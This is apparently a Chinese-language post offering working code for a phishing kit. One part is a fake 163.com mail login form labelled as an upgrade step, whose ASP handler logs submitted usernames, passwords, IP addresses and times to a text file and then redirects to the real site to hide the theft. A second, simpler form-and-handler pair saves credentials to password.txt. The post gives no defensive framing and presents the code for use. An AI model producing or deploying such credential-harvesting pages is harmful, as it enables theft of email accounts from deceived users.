163.html页面:

下面是主要代码(附件有完整代码!)

 
  


 
  
  1. <form id="login163" name="loginform" method="post" action="163.asp" target="frameforlogin"> 
  2. <div id="idInputLine" class="loginFormIpt showPlaceholder" style="margin-top:32px;"> 
  3. <input class="loginFormTdIpt" tabindex="1" title="请输入帐号" id="idInput" name="username" type="text" maxlength="50" value="" style="width:145px;" /> 
  4.     <span class="domain">@163.com</span> 
  5.     <div id="pwdInputLine" class="loginFormIpt showPlaceholder"> 
  6. <input class="loginFormTdIpt" tabindex="2" title="请输入密码" id="pwdInput" name="pwd" type="password"/> 
  7. <label for="pwdInput" class="placeholder" id="pwdPlaceholder">密码</label> 
  8.     <div class="loginFormIpt loginFormIptWiotTh"> 
  9.     <button id="loginBtn" class="btn btn-login formSubmit" tabindex="6" type="submit">点击升级</button><input type="hidden" name="Work" value="Add"> 

 

163.asp 接受页面代码,在本目录生成test.txt文件:

 

 
  
  1. <
  2. Response.Buffer=True     
  3. testfile=Server.MapPath("test.txt")    
  4. set fs=server.CreateObject("scripting.filesystemobject")     
  5. set thisfile=fs.OpenTextFile(testfile,8,True,0) 
  6. thisfile.WriteLine("账户:"&request.form("username")) 
  7. thisfile.WriteLine("密码:"&request.form("pwd")) 
  8. thisfile.WriteLine("ip:"&request.ServerVariables("REMOTE_ADDR")) 
  9. thisfile.WriteLine("time:"&now()) 
  10. thisfile.Writeline("——————X————————") 
  11. thisfile.close     
  12. set fs = nothing     
  13. %> 
  14. <meta http-equiv="refresh" content="0;URL=http://mail.163.com/"> 

 

另外一个简单例子:

 login.htm

 
  
  1. <html> 
  2. <td height="103" valign="top"><form name="form1" method="post" action="ok.asp"> 
  3. <p align="center">帐 号:<input maxlength=10 size=16 name=u></span>  
  4. </div> 
  5. <p align="center">口 令:<input type=password maxlength=16 size=16 name=p> 
  6. <p align="center"> 
  7. <input type="submit" name="Submit" value="提 交">  
  8. <input type="reset" name="Submit2" value="重 写"> 
  9. </html> 

 

ok.asp

 

 
  
  1. <
  2. Response.Buffer=True 
  3. username=Request.Form("u") 
  4. password=Request.Form("p") 
  5. testfile=Server.MapPath("password.txt") 
  6. set fs=server.CreateObject("scripting.filesystemobject") 
  7. set thisfile=fs.OpenTextFile(testfile,8,True,0) 
  8. thisfile.WriteLine(username) 
  9. thisfile.WriteLine(password) 
  10. thisfile.close 
  11. set fs = nothing 
  12. %> 

本地搭建web环境,然后打开login.htm页面,输入用户名和密码,点击提交。

就成生了password.txt,打开这个txt文件就能看到密码了。